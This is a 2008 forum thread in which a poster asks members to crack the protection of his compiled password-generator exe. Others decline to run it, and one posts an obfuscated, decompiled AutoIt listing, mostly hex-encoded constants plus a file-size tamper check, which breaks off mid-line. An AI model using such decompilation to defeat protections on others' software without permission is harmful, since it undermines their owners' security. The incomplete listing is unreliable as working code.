Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Apr 10th, 2008, 6:03 PM   #1
Legion
Newbie
 
Join Date: Apr 2008
Posts: 9
Rep Power: 0 Legion is on a distinguished road
Need Some Help

I'm new to the forums and this is my first post so please bare with me :p

i recently started work on an OTS mainly for fun but was thinking of using it in the company i work in.

i was referenced here as a place where i can test its security.

this is a link to a rar file containing the "Alpha" version of the exe : http://phenixdoc.googlepages.com/ots.rar
for the sake of argument i will not give any details since if this file would happen to fall into the wrong hands he will also have no information except the file itself.

please refer me to the correct subforum if i misplaced my post.

regards
Legion.
Legion is offline   Reply With Quote
Old Apr 11th, 2008, 8:28 AM   #2
Infinite Recursion
Programming Guru
 
Infinite Recursion's Avatar
 
Join Date: Jul 2004
Location: United States
Posts: 3,467
Rep Power: 8 Infinite Recursion is on a distinguished road
Send a message via MSN to Infinite Recursion Send a message via Yahoo to Infinite Recursion
Re: Need Some Help

Sorry, I cannot blindly run an exe that is randomly posted on the net.
__________________
http://jasonpowers.net

"There are a thousand hacking at the branches of evil to one who is striking at the root."
Infinite Recursion is offline   Reply With Quote
Old Apr 11th, 2008, 10:49 AM   #3
Legion
Newbie
 
Join Date: Apr 2008
Posts: 9
Rep Power: 0 Legion is on a distinguished road
Re: Need Some Help

true :p well what can i say...
its a password generator, but if ill show you the source or something then im ruining the point of you hacking it ain't i :p
if you have an idea of how i can convince you its safe without giving away too much info about it then ill happily do it.
Legion is offline   Reply With Quote
Old Apr 11th, 2008, 11:50 AM   #4
mbd
Programmer
 
Join Date: Nov 2007
Posts: 86
Rep Power: 1 mbd is on a distinguished road
Re: Need Some Help

will a moderator please delete this thread.
mbd is offline   Reply With Quote
Old Apr 11th, 2008, 11:52 AM   #5
Legion
Newbie
 
Join Date: Apr 2008
Posts: 9
Rep Power: 0 Legion is on a distinguished road
Re: Need Some Help

Quote:
Originally Posted by mbd View Post
will a moderator please delete this thread.
mind telling me why ?
Legion is offline   Reply With Quote
Old Apr 11th, 2008, 12:06 PM   #6
mbd
Programmer
 
Join Date: Nov 2007
Posts: 86
Rep Power: 1 mbd is on a distinguished road
Re: Need Some Help

Quote:
Originally Posted by Legion View Post
true :p well what can i say...
its a password generator, but if ill show you the source or something then im ruining the point of you hacking it ain't i :p
if you have an idea of how i can convince you its safe without giving away too much info about it then ill happily do it.
read the forum rules. you are discussing hacking. this may not even be a program you wrote. we may be unwittingly hacking someone else's program for you. this also contains an exe which may contain a virus or other malware. i highly suspect that to be the case.

this thread should be deleted, and your account should receive a 5 point infraction for 6 months.
mbd is offline   Reply With Quote
Old Apr 11th, 2008, 12:14 PM   #7
Legion
Newbie
 
Join Date: Apr 2008
Posts: 9
Rep Power: 0 Legion is on a distinguished road
Re: Need Some Help

Quote:
Originally Posted by mbd View Post
read the forum rules. you are discussing hacking. this may not even be a program you wrote. we may be unwittingly hacking someone else's program for you. this also contains an exe which may contain a virus or other malware. i highly suspect that to be the case.

this thread should be deleted, and your account should receive a 5 point infraction for 6 months.
as i said i was referenced to this site as a place where i can test it, if thats not the case then im very very sorry and i have no problem with a mod deleting this topic.

however, as i said : if theres any way i can show you that this is my program and thats its safe without giving away too much info (aka the entire source) ill be more than glad to do that.

EDIT : i don't know if it qualifies as credentials but i rum a forum and have a program thats available on c.net download.com, to both ill be more than happy to give a link to. hope it helps with the trust issue.
Legion is offline   Reply With Quote
Old Apr 11th, 2008, 1:33 PM   #8
big_k105
PFO Founder

 
big_k105's Avatar
 
Join Date: Mar 2004
Location: Fargo, ND
Posts: 1,650
Rep Power: 10 big_k105 is on a distinguished road
Send a message via AIM to big_k105 Send a message via MSN to big_k105 Send a message via Yahoo to big_k105
Re: Need Some Help

He isn't trying to have us hack to software, he wants us to test it to see how well it works from my understanding. The only problem is that most people aren't going to run an exe no matter how much they trust the person that gave it to them. I believe that it isn't any kind of virus or malware but that doesn't mean I will run it. If you choose to run the program you do so at your own risk.
__________________
BIG K aka Kyle
Programming Forums
Kyle K Online

Please do not PM or email me programming questions. Post them in the forums instead.
big_k105 is offline   Reply With Quote
Old Apr 11th, 2008, 1:40 PM   #9
Legion
Newbie
 
Join Date: Apr 2008
Posts: 9
Rep Power: 0 Legion is on a distinguished road
Re: Need Some Help

Quote:
Originally Posted by big_k105 View Post
He isn't trying to have us hack to software, he wants us to test it to see how well it works from my understanding. The only problem is that most people aren't going to run an exe no matter how much they trust the person that gave it to them. I believe that it isn't any kind of virus or malware but that doesn't mean I will run it. If you choose to run the program you do so at your own risk.
runing the program isn't necessary because it makes a check for something (don't wanna give too much info) and then exits if that isn't found. so anyone who will simply run it will see that nothing happens.

the program is a password generator as i said, so i need you guys to see if you can hack it, let me explain :

i want to see what can happen if this file ends up in the wrong hands, will he be able to make it run regardless of my check or will he be able to obtain the password generation sequence im using.

so yes i do want you to hack it.

as i said before i was referred here as a place where hackers reside, after i read the subforums titles i believe this isn't the case but decided to try posting here anyways.
Legion is offline   Reply With Quote
Old Apr 11th, 2008, 2:42 PM   #10
mbd
Programmer
 
Join Date: Nov 2007
Posts: 86
Rep Power: 1 mbd is on a distinguished road
Re: Need Some Help

here is the autoit source code for your exe. i have not analyzed it for malware content yet, but it would seem it is pretty easy to hack
#NoTrayIcon
#Region
#AutoIt3Wrapper_icon=D:\My Documents\Scripts\Files\folder_locked.ico
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_Allow_Decompile=n
#EndRegion
IF $glConstVar0000<> FILEGETSIZE(@SCRIPTFULLPATH) THEN EXIT
GLOBAL $SA5BD2005F11= Fn0076("30"), $SA3CD220484E= Fn0076("30"), $SA57D2403404= Fn0076("3635353336"), $SA2AD260344C= Fn0076("313331303732"), $SA08D2801C18= Fn0076("3635353336"), $SA51D2A03613= Fn0076("313331303732"), $SA1FD2C02629= Fn0076("323632313434"), $SA38D2E01F37= Fn0076("323632313434"), $SA58E2005052= Fn0076("353234323838"), $SA3EE2201413= Fn0076("31303438353736"), $SA28E2403C09= Fn0076("32303937313532"), $SA44E2603125= Fn0076("34313934333034"), $SA40E280524F= Fn0076("38333838363038"), $SA63E2A01F32= Fn0076("3132353832393132"), $SA32E2C01938= Fn0076("3133353635393532"), $SA2FE2E02606= Fn0076("3133353635393532"), $SA55F2005C32= Fn0076("3136373737323136"), $SA5FF2204A41= Fn0076("3333353534343332"), $SA51F2400A63= Fn0076("3637313038383634"), $SA37F2603433= Fn0076("313334323137373238"), $SA2BF2802352= Fn0076("323638343335343536"), $SA27F2A0180A= Fn0076("353336383730393132"), $SA42F2C02923= Fn0076("31303733373431383234"), $SA0BF2E02103= Fn0076("2D32313437343833363438"), $SA2603001222= Fn0076("2D32313338353730373532"), $SA5303202D4D= Fn0076("313238"), $SA5F03400214= Fn0076("353132"), $SA3803600652= Fn0076("38313932"), $SA550380194E= Fn0076("3136"), $SA1B03A0354A= Fn0076("3634"), $SA2F03C0444C= Fn0076("323632313434"), $SA1103E06139= Fn0076("353132"), $SA2E13005063= Fn0076("31303234"), $SA5713204249= Fn0076("31"), $SA4E13405936= Fn0076("3136333834"), $SA0913604422= Fn0076("373638"), $SA611380142D= Fn0076("34303936"), $SA0D13A03026= Fn0076("313331303732"), $SA4E13C0364F= Fn0076("313238"), $SA0513E01815= Fn0076("38"), $SA0423005E1C= Fn0076("3332"), $SA1823202A4C= Fn0076("323536"), $SA3A23402A1E= Fn0076("353234323838"), $SA3623605810= Fn0076("35"), $SA5C23805C07= Fn0076("353332"), $SA1B23A02E5F= Fn0076("31303234"), $SA1123C06255= Fn0076("3134"), $SA4E23E04E17= Fn0076("3133"), $SA573300063D= Fn0076("31"), $SA0033203A56= Fn0076("32")
GLOBAL $SA403340231F= Fn0076("34"), $SA633360501B= Fn0076("38"), $SA1E3380574D= Fn0076("3136"), $SA1F33A02F15= Fn0076("31"), $SA1E33C03D42= Fn0076("32"), $SA0533E01056= Fn0076("33"), $SA6143005642= Fn0076("3634"), $SA3643202F27= Fn0076("313238"), $SA0A43400E5F= Fn0076("323536"), $SA0E43601755= Fn0076("31303234"), $SA0C4380393F= Fn0076("32303438"), $SA0B43A06111= Fn0076("38313932"), $SA5943C05F31= Fn0076("3136333834"), $SA5943E0304A= Fn0076("31"), $SA285300295E= Fn0076("33"), $SA2953205E47= Fn0076("34"), $SA6353405D42= Fn0076("32"), $SA4C53604742= Fn0076("30"), $SA2D53805F15= Fn0076("333233"), $SA4553A01C14= Fn0076("333234"), $SA2353C06036= Fn0076("333235"), $SA2953E04B2F= Fn0076("333332"), $SA1663002819= Fn0076("333434"), $SA2D63204A14= Fn0076("333236"), $SA1763402526= Fn0076("333237"), $SA6063603020= Fn0076("333338"), $SA3163803118= Fn0076("333433"), $SA0D63A05D30= Fn0076("333531"), $SA0163C05A00= Fn0076("333230"), $SA5C63E00050= Fn0076("333432"), $SA3E73003E1D= Fn0076("333439"), $SA1C7320422C= Fn0076("333336"), $SA2C73405C1D= Fn0076("333430"), $SA6073604E59= Fn0076("333238"), $SA0C73800517= Fn0076("333239"), $SA2E73A0354F= Fn0076("333436"), $SA5F73C01034= Fn0076("35383930"), $SA5273E0510D= Fn0076("333437"), $SA5083003713= Fn0076("333533"), $SA5983203719= Fn0076("333231"), $SA4E83402037= Fn0076("333331"), $SA3F83602B13= Fn0076("333330"), $SA3D83801304= Fn0076("333333"), $SA1483A00C41= Fn0076("333334"), $SA1883C00F43= Fn0076("333532"), $SA1C83E01A63= Fn0076("333232"), $SA139300131E= Fn0076("333431"), $SA3393203949= Fn0076("333530"), $SA0F93403C4C= Fn0076("333337"), $SA0E9360541C= Fn0076("333339"), $SA1693802D14= Fn0076("3231"), $SA5C93A0240A= Fn0076("35383839"), $SA2293C02840= Fn0076("333438"), $SA5593E02830= Fn0076("333335"), $SA4FA300451D= Fn0076("3332"), $SA0FA320515E= Fn0076("3136"), $SA48A3406057= Fn0076("3136333834")
GLOBAL $SA2AA3605B49= Fn0076("3332373638"), $SA17A3800A2F= Fn0076("32"), $SA11A3A04B43= Fn0076("31"), $SA38A3C04951= Fn0076("30"), $SA12A3E0060F= Fn0076("34"), $SA31B3005917= Fn0076("30"), $SA2DB3206004= Fn0076("31"), $SA0FB3404459= Fn0076("32"), $SA60B3604D60= Fn0076("34"), $SA20B380222B= Fn0076("39"), $SA4FB3A03554= Fn0076("3332"), $SA55B3C02913= Fn0076("3136"), $SA37B3E00C3C= Fn0076("38"), $SA2AC3000F1D= Fn0076("34"), $SA4FC320362D= Fn0076("34303936"), $SA3FC340444A= Fn0076("3131"), $SA1BC3601222= Fn0076("3136"), $SA1CC380392A= Fn0076("33"), $SA52C3A0132D= Fn0076("3231"), $SA0BC3C0385B= Fn0076("39"), $SA05C3E02C17= Fn0076("3139"), $SA0FD3000540= Fn0076("32"), $SA2AD320185C= Fn0076("3130"), $SA1FD3401242= Fn0076("3135"), $SA14D3602606= Fn0076("34"), $SA5AD3805437= Fn0076("3230"), $SA47D3A04B13= Fn0076("30"), $SA43D3C04D3E= Fn0076("34"), $SA2DD3E02828= Fn0076("31"), $SA21E3005000= Fn0076("32"), $SA30E320564A= Fn0076("33"), $SA0FE3402B01= Fn0076("35"), $SA21E3605850= Fn0076("30"), $SA55E3804538= Fn0076("31"), $SA22E3A03848= Fn0076("32"), $SA23E3C02600= Fn0076("34"), $SA27E3E00001= Fn0076("38"), $SA01F3000426= Fn0076("3136"), $SA01F3200E26= Fn0076("3332"), $SA31F3405E60= Fn0076("3634"), $SA08F3605747= Fn0076("313238"), $SA4EF380201B= Fn0076("323536"), $SA56F3A04B0E= Fn0076("31303234"), $SA19F3C04056= Fn0076("32303438"), $SA07F3E00E5E= Fn0076("34303936"), $SA4F04005314= Fn0076("38313932"), $SA270420211A= Fn0076("31"), $SA480440455B= Fn0076("35333736"), $SA5004600F1C= Fn0076("313938"), $SA3204806057= Fn0076("323035"), $SA0304A0421B= Fn0076("323036"), $SA1D04C0564C= Fn0076("313936"), $SA5F04E02929= Fn0076("313836"), $SA6114005B51= Fn0076("313834"), $SA1B14200662= Fn0076("313738"), $SA391440074E= Fn0076("313736"), $SA3514603618= Fn0076("323031"), $SA1E14804355= Fn0076("313837"), $SA5F14A03545= Fn0076("313933")
GLOBAL $SA4D14C00F38= Fn0076("313832"), $SA0114E0262F= Fn0076("313934"), $SA3C24000E1C= Fn0076("313831"), $SA5F2420070E= Fn0076("313833"), $SA6324402210= Fn0076("313835"), $SA4924603B0E= Fn0076("313737"), $SA0224803E5D= Fn0076("313939"), $SA3324A0635D= Fn0076("323037"), $SA2E24C01059= Fn0076("323033"), $SA5A24E01F42= Fn0076("30"), $SA0834003B49= Fn0076("31"), $SA5B3420473F= Fn0076("32"), $SA2E34400824= Fn0076("33"), $SA5034602053= Fn0076("34"), $SA3934806017= Fn0076("35"), $SA0C34A00516= Fn0076("36"), $SA2934C0254A= Fn0076("37"), $SA0734E04121= Fn0076("38"), $SA164400425C= Fn0076("39"), $SA5044200028= Fn0076("3131"), $SA094440523B= Fn0076("3132"), $SA1D44603657= Fn0076("3135"), $SA3E44802917= Fn0076("3136"), $SA4444A04D1C= Fn0076("3137"), $SA1944C06018= Fn0076("3138"), $SA0044E03863= Fn0076("313238"), $SA4854000E5A= Fn0076("323536"), $SA5B54202645= Fn0076("353132"), $SA2254405D59= Fn0076("31303234"), $SA6254600D61= Fn0076("34303936"), $SA5254805151= Fn0076("31"), $SA4B54A02546= Fn0076("32"), $SA5154C01C2F= Fn0076("313238"), $SA3F54E01834= Fn0076("323536"), $SA2B64000C48= Fn0076("34303936"), $SA0D6420432D= Fn0076("3136333834"), $SA3164400250= Fn0076("3130343835373633"), $SA1064604E29= Fn0076("31"), $SA366480633C= Fn0076("33"), $SA0064A0202E= Fn0076("34"), $SA3A64C05B1F= Fn0076("32"), $SA0864E0260B= Fn0076("333834"), $SA4574002E40= Fn0076("333836"), $SA3674205F1F= Fn0076("333937"), $SA5074404C47= Fn0076("333939"), $SA247460173B= Fn0076("343138"), $SA2A74804842= Fn0076("343133"), $SA5174A02335= Fn0076("343135"), $SA2F74C01C12= Fn0076("333935"), $SA5E74E01E53= Fn0076("333932"), $SA168400474E= Fn0076("343033"), $SA3084204615= Fn0076("343038"), $SA5884405C28= Fn0076("343334"), $SA1A84600F5A= Fn0076("343232"), $SA1E8480233C= Fn0076("333931"), $SA3384A0130B= Fn0076("343030"), $SA5284C0075D= Fn0076("343031")
GLOBAL $SA4884E0554A= Fn0076("333933"), $SA379400215C= Fn0076("333934"), $SA0F9420181D= Fn0076("333938"), $SA0794403F4A= Fn0076("333835"), $SA3C94602132= Fn0076("333838"), $SA3294803A23= Fn0076("333936"), $SA2C94A0233C= Fn0076("343136"), $SA2B94C06214= Fn0076("343131"), $SA3F94E0614D= Fn0076("333837"), $SA5BA4005651= Fn0076("343132"), $SA55A4203F4C= Fn0076("343134"), $SA09A4403130= Fn0076("333930"), $SA49A460164B= Fn0076("343034"), $SA13A480212A= Fn0076("343231"), $SA4CA4A04833= Fn0076("333839"), $SA2DA4C0032F= Fn0076("343037"), $SA1CA4E03827= Fn0076("38"), $SA4BB4000E38= Fn0076("3332"), $SA36B4205E0B= Fn0076("3136"), $SA28B440004F= Fn0076("3136333834"), $SA5FB4600E62= Fn0076("3332373638"), $SA5AB4804B5E= Fn0076("32"), $SA55B4A04262= Fn0076("31"), $SA3FB4C03B1C= Fn0076("30"), $SA20B4E00A14= Fn0076("34"), $SA53C400224E= Fn0076("30"), $SA3EC4201521= Fn0076("31"), $SA39C4405624= Fn0076("32"), $SA3CC4603718= Fn0076("33"), $SA1BC4804628= Fn0076("353132"), $SA51C4A0154E= Fn0076("3136333834"), $SA36C4C0193A= Fn0076("3332373638"), $SA0FC4E05258= Fn0076("34"), $SA3BD400431B= Fn0076("38"), $SA3FD4205139= Fn0076("3136"), $SA2CD4400A43= Fn0076("3332"), $SA5BD4601D41= Fn0076("313238"), $SA11D4800040= Fn0076("3332"), $SA1BD4A02508= Fn0076("31"), $SA47D4C05C2D= Fn0076("32"), $SA40D4E0352B= Fn0076("34"), $SA1AE4002321= Fn0076("38"), $SA16E4205953= Fn0076("3136"), $SA5EE4401052= Fn0076("323536"), $SA38E4601146= Fn0076("3332373638"), $SA5EE4803F08= Fn0076("313331303732"), $SA11E4A0414E= Fn0076("31303234"), $SA4FE4C0480D= Fn0076("3136333834"), $SA47E4E05754= Fn0076("3634"), $SA3CF4000B2F= Fn0076("353132"), $SA4EF420142E= Fn0076("323632313434"), $SA1FF440585E= Fn0076("313238"), $SA5CF4601312= Fn0076("32303438"), $SA27F4804044= Fn0076("34303936"), $SA5CF4A05802= Fn0076("31"), $SA4DF4C02243= Fn0076("38313932"), $SA0AF4E01F5E= Fn0076("36")
GLOBAL $SA4E05004037= Fn0076("35"), $SA5705200F0E= Fn0076("2D31"), $SA0205403538= Fn0076("34303936"), $SA4A05604419= Fn0076("31"), $SA490580205F= Fn0076("30"), $SA4205A02A5C= Fn0076("33"), $SA1E05C06325= Fn0076("32"), $SA0205E02F0F= Fn0076("34"), $SA2B15001E4A= Fn0076("31"), $SA371520515F= Fn0076("32"), $SA2F15403E34= Fn0076("34"), $SA3B15603B54= Fn0076("32"), $SA5215803806= Fn0076("30"), $SA2D15A02B00= Fn0076("31"), $SA0015C0545A= Fn0076("31"), $SA5D15E0293D= Fn0076("32"), $SA0725004C3E= Fn0076("30"), $SA562520514A= Fn0076("35"), $SA3725401907= Fn0076("38"), $SA1825602140= Fn0076("31"), $SA0E25800E43= Fn0076("31"), $SA2C25A05C52= Fn0076("38"), $SA3C25C01E2D= Fn0076("32"), $SA4925E00044= Fn0076("3332"), $SA3C35005137= Fn0076("3337"), $SA3235202D50= Fn0076("3339"), $SA5835400A23= Fn0076("3338"), $SA1F35601D02= Fn0076("3430"), $SA1135802A0B= Fn0076("3335"), $SA2D35A04604= Fn0076("3333"), $SA5135C06335= Fn0076("3334"), $SA2835E0345D= Fn0076("30"), $SA3845001F01= Fn0076("34"), $SA3B45203F07= Fn0076("38"), $SA144540374B= Fn0076("31"), $SA5E4560543F= Fn0076("33383430"), $SA4545803635= Fn0076("32"), $SA2945A06138= Fn0076("3631343430"), $SA1845C0445D= Fn0076("3232"), $SA2745E00220= Fn0076("313739"), $SA5C5500445E= Fn0076("34313234"), $SA6355203639= Fn0076("34313034"), $SA1655404D5A= Fn0076("34313035"), $SA1155604427= Fn0076("3233"), $SA2C55905E3F= Fn0076("313537"), $SA2255B0120A= Fn0076("3139"), $SA4155D00909= Fn0076("3133"), $SA1F55F0290B= Fn0076("30"), $SA2965102531= Fn0076("3130"), $SA126530602B= Fn0076("3539"), $SA2E65500F46= Fn0076("3239"), $SA1E6570232E= Fn0076("3430"), $SA2165905624= Fn0076("3234"), $SA1F65B05656= Fn0076("3535"), $SA3765D03E24= Fn0076("3331"), $SA3F65F03A0E= Fn0076("3633"), $SA2375101221= Fn0076("3631"), $SA167530462E= Fn0076("3732"), $SA2375502662= Fn0076("32"), $SA237570074C= Fn0076("35")
GLOBAL $SA2275901152= Fn0076("34313030"), $SA3675B0492D= Fn0076("3434"), $SA2975D03F55= Fn0076("3435"), $SA2475F0584C= Fn0076("34313038"), $SA5385104C14= Fn0076("313734"), $SA3F85303148= Fn0076("3530"), $SA1785504E3E= Fn0076("3536"), $SA5C85701F38= Fn0076("3339"), $SA2385A03E12= Fn0076("313433"), $SA3C85C00530= Fn0076("3334"), $SA5485E0405B= Fn0076("3237"), $SA4295005032= Fn0076("37"), $SA5A95200453= Fn0076("3231"), $SA179550300D= Fn0076("3230"), $SA4195705646= Fn0076("34303937"), $SA4595904C5D= Fn0076("3131"), $SA5995B05B52= Fn0076("3236"), $SA4495D04847= Fn0076("3538"), $SA4695F02A2A= Fn0076("34313236"), $SA04A5101311= Fn0076("34313530"), $SA5DA5304B0C= Fn0076("3630"), $SA07A550292F= Fn0076("3731"), $SA24A570144E= Fn0076("3533"), $SA56A590533C= Fn0076("3437"), $SA31A5B04C0F= Fn0076("3135"), $SA55A5D00A15= Fn0076("3433"), $SA25A5F03F25= Fn0076("3436"), $SA27B5101840= Fn0076("313430"), $SA39B530485C= Fn0076("3336"), $SA4BB550144C= Fn0076("3338"), $SA45B5700F17= Fn0076("313432"), $SA27B5904B05= Fn0076("3432"), $SA24B5B02D26= Fn0076("323536"), $SA5BB5D0374E= Fn0076("353132"), $SA0DB5F00B45= Fn0076("31303234"), $SA57C510034C= Fn0076("32303438"), $SA01C5300F28= Fn0076("30"), $SA14C5500E43= Fn0076("34"), $SA57C5703D21= Fn0076("38"), $SA49C5904C61= Fn0076("31"), $SA38C5B04353= Fn0076("32"), $SA15C5D04A03= Fn0076("31"), $SA1BC5F00146= Fn0076("32"), $SA21D5100717= Fn0076("31"), $SA50D5303C10= Fn0076("32"), $SA20D5503703= Fn0076("30"), $SA30D5704553= Fn0076("31"), $SA43D5902D0C= Fn0076("32"), $SA28D5B0551F= Fn0076("31"), $SA46D5D05C34= Fn0076("32"), $SA2BD5F0552F= Fn0076("30"), $SA03E5103844= Fn0076("34"), $SA32E530071C= Fn0076("30"), $SA1EE550134B= Fn0076("34"), $SA48E5703A03= Fn0076("30"), $SA2CE590062B= Fn0076("38"), $SA09E5B03F0A= Fn0076("3136"), $SA00E5D03D4F= Fn0076("313238"), $SA5FE5F00A63= Fn0076("31303234")
GLOBAL $SA48F5101B37= Fn0076("39"), $SA59F530225A= Fn0076("3234"), $SA21F550593C= Fn0076("3232"), $SA14F5706152= Fn0076("3136"), $SA28F5A05901= Fn0076("32"), $SA1EF5C03113= Fn0076("31"), $SA49F5E03A1B= Fn0076("3233"), $SA3406002830= Fn0076("3231"), $SA4F06201D57= Fn0076("35"), $SA0E06405E2A= Fn0076("3230"), $SA3806601749= Fn0076("31"), $SA4406804602= Fn0076("32"), $SA1506A01937= Fn0076("34"), $SA0506C04814= Fn0076("3136"), $SA6106E0543E= Fn0076("3332"), $SA4116004C35= Fn0076("313238"), $SA2D16205D39= Fn0076("323536"), $SA1D16401F3E= Fn0076("353132"), $SA4A16605C17= Fn0076("31303234"), $SA3116802E2A= Fn0076("34303936"), $SA5D16A03137= Fn0076("38313932"), $SA0316C00241= Fn0076("3136333834"), $SA3216E00E1F= Fn0076("31"), $SA2E2600050A= Fn0076("32"), $SA412620490B= Fn0076("33"), $SA6026402149= Fn0076("3136333834"), $SA2226600C4E= Fn0076("3332373638"), $SA2B2680201F= Fn0076("30"), $SA5526A00A17= Fn0076("31"), $SA1826C0064E= Fn0076("33"), $SA5726E02A5D= Fn0076("34"), $SA1B36005014= Fn0076("39"), $SA3836202C5E= Fn0076("2D3635353336"), $SA5C36403035= Fn0076("2D3635353335"), $SA2136603235= Fn0076("2D3635353334"), $SA0836801F55= Fn0076("2D3635353333"), $SA1936A05063= Fn0076("31"), $SA0936C0590F= Fn0076("32"), $SA3A36E0282F= Fn0076("34"), $SA484600023D= Fn0076("38"), $SA0C46202D53= Fn0076("3136"), $SA2E46403910= Fn0076("3332"), $SA1646603A1F= Fn0076("3634"), $SA1E4680600E= Fn0076("32"), $SA4446A0272D= Fn0076("34"), $SA0D46C03405= Fn0076("38"), $SA1646E01324= Fn0076("3136"), $SA1856004959= Fn0076("3332"), $SA3356203132= Fn0076("3634"), $SA255640304B= Fn0076("313238"), $SA345660630A= Fn0076("33383430"), $SA3B56801551= Fn0076("3631343430"), $SA1956A0582D= Fn0076("34333532"), $SA3E56C0461A= Fn0076("30"), $SA4756E05C3C= Fn0076("31"), $SA2566003F42= Fn0076("32"), $SA1C6620185A= Fn0076("35"), $SA4E66405224= Fn0076("36")
GLOBAL $SA196660521D= Fn0076("37"), $SA2666805B0E= Fn0076("38"), $SA5866A02616= Fn0076("39"), $SA3C66C03911= Fn0076("3130"), $SA4C66E03334= Fn0076("3131"), $SA2776000543= Fn0076("3132"), $SA127620430E= Fn0076("3133"), $SA5C7640020A= Fn0076("3139"), $SA3B76600A5D= Fn0076("3230"), $SA5B76805023= Fn0076("3239"), $SA0F76A03818= Fn0076("3330"), $SA5276C04433= Fn0076("3331"), $SA5B76E00E34= Fn0076("3332"), $SA3A8600293E= Fn0076("3430"), $SA1A86202D15= Fn0076("3431"), $SA6086403B4D= Fn0076("31"), $SA5A86605961= Fn0076("32"), $SA5886806043= Fn0076("34"), $SA1F86A0410D= Fn0076("38"), $SA2B86C04B31= Fn0076("3332"), $SA5186E02D0C= Fn0076("3634"), $SA009600241F= Fn0076("313238"), $SA2396303032= Fn0076("30"), $SA5196503E48= Fn0076("30"), $SA2296A01431= Fn0076("30"), $SA4796C02B4C= Fn0076("30"), $SA41A600511C= Fn0076("30"), $SA57A640620B= Fn0076("30"), $SA0DA6700005= Fn0076("30"), $SA18A6900A18= Fn0076("30"), $SA24A6C00F59= Fn0076("30"), $SA44B610000D= Fn0076("33"), $SA2DB630553E= Fn0076("34"), $SA2FB6500552= Fn0076("35"), $SA40B670430A= Fn0076("36"), $SA2CB6904F58= Fn0076("37"), $SA0AB6B01A07= Fn0076("38"), $SA17B6D02422= Fn0076("39"), $SA5EB6F00203= Fn0076("3130"), $SA00C6103F26= Fn0076("3131"), $SA0CC6304107= Fn0076("3132"), $SA4FC6502838= Fn0076("3133"), $SA31C670204F= Fn0076("4755495F52554E4445464D5347"), $SA28C690153F= Fn0076("30"), $SA0CC6B02D35= Fn0076("31"), $SA38C6D03921= Fn0076("32"), $SA1CC6F06320= Fn0076("31"), $SA5FD610013D= Fn0076("32"), $SA3CD6303100= Fn0076("34"), $SA2AD650031F= Fn0076("38"), $SA0BD670121A= Fn0076("34303936"), $SA22D6A04450= Fn0076("3136"), $SA08D6C04563= Fn0076("3332"), $SA00D6E00826= Fn0076("3634"), $SA3AE6005B40= Fn0076("313238"), $SA01E6205D13= Fn0076("323536"), $SA5FE6400361= Fn0076("38313932"), $SA2EE6600437= Fn0076("353132"), $SA10E6805161= Fn0076("31303234"), $SA2DE6A00D3A= Fn0076("32303438")
GLOBAL $SA62E6C0080B= Fn0076("32"), $SA01E6E0192C= Fn0076("34"), $SA29F6001958= Fn0076("38"), $SA27F6201763= Fn0076("31"), $SA1EF6402A39= Fn0076("32"), $SA35F6606033= Fn0076("34"), $SA28F6800C3C= Fn0076("38"), $SA49F6A0261C= Fn0076("3332"), $SA29F6C05D06= Fn0076("3634"), $SA05F6E01339= Fn0076("313238"), $SA1207003C22= Fn0076("323536"), $SA3407203548= Fn0076("353132"), $SA0A0740340F= Fn0076("373638"), $SA230760313F= Fn0076("353434"), $SA4407801D55= Fn0076("353736"), $SA3D07A0453F= Fn0076("383032"), $SA2F07C04026= Fn0076("313032"), $SA4407E03822= Fn0076("31"), $SA0017005159= Fn0076("32"), $SA3017201952= Fn0076("34"), $SA401740352B= Fn0076("36"), $SA201760173F= Fn0076("38"), $SA4C17802B1E= Fn0076("3130"), $SA0217A05845= Fn0076("3132"), $SA5F17C05624= Fn0076("3134"), $SA5817E01233= Fn0076("3136"), $SA2D2700412E= Fn0076("3138"), $SA4A27204941= Fn0076("3230"), $SA5227403236= Fn0076("3232"), $SA4A2760150A= Fn0076("3234"), $SA0B27805A11= Fn0076("32"), $SA2C27A0460C= Fn0076("31"), $SA2127C02D5A= Fn0076("32"), $SA5B27E03432= Fn0076("2D3333353534343332"), $SA4737002336= Fn0076("31303438353736"), $SA0837205122= Fn0076("37"), $SA533740621A= Fn0076("32303438"), $SA3E37605328= Fn0076("373638"), $SA553780385F= Fn0076("31"), $SA3737A02740= Fn0076("323536"), $SA3B37C05402= Fn0076("38313932"), $SA2537E0254A= Fn0076("3130"), $SA1D47000309= Fn0076("34303936"), $SA334720195F= Fn0076("353132"), $SA1347406010= Fn0076("3332"), $SA3547601219= Fn0076("31303234"), $SA0347801307= Fn0076("33303732"), $SA3247A05648= Fn0076("3332373638"), $SA5247C03046= Fn0076("3634"), $SA0E47E02F54= Fn0076("313238"), $SA0C57002B4D= Fn0076("3136333834"), $SA0F57205D11= Fn0076("35"), $SA2A57405D27= Fn0076("36"), $SA075760515F= Fn0076("33"), $SA3E5780293B= Fn0076("32"), $SA0057A02F3F= Fn0076("39"), $SA3357C00561= Fn0076("31"), $SA4257E05241= Fn0076("32")
GLOBAL $SA3D67006335= Fn0076("32"), $SA4367201D0C= Fn0076("34"), $SA1A67404920= Fn0076("38"), $SA0667603514= Fn0076("3136"), $SA3F67803D17= Fn0076("3332"), $SA1D67A01948= Fn0076("3634"), $SA3767C0213B= Fn0076("313238"), $SA1167E05C2E= Fn0076("30"), $SA2077005D37= Fn0076("323536"), $SA177720355B= Fn0076("30"), $SA2277400F5D= Fn0076("353132"), $SA2E77602750= Fn0076("30"), $SA4077801A30= Fn0076("31303234"), $SA3F77A04527= Fn0076("32303438"), $SA3E77C05145= Fn0076("34303936"), $SA3F77E00D51= Fn0076("38313932"), $SA2487001557= Fn0076("3136333834"), $SA3187201662= Fn0076("3332373638"), $SA2A87403854= Fn0076("31"), $SA6287601F39= Fn0076("31"), $SA0687800C2C= Fn0076("31"), $SA4687A02731= Fn0076("32"), $SA4287C03645= Fn0076("34383634"), $SA0887E01862= Fn0076("39"), $SA1997002D0C= Fn0076("38"), $SA0397205A19= Fn0076("3530"), $SA2497402818= Fn0076("3437"), $SA2D97600C0B= Fn0076("3131"), $SA3497802B42= Fn0076("3533"), $SA0B97A0272F= Fn0076("34"), $SA2597C03418= Fn0076("3130"), $SA2597E04A2E= Fn0076("3434"), $SA4EA7003D33= Fn0076("3431"), $SA28A720005A= Fn0076("38313932"), $SA32A7406327= Fn0076("36"), $SA56A7701801= Fn0076("3531"), $SA15A7904B56= Fn0076("3438"), $SA28A7B03D16= Fn0076("3132"), 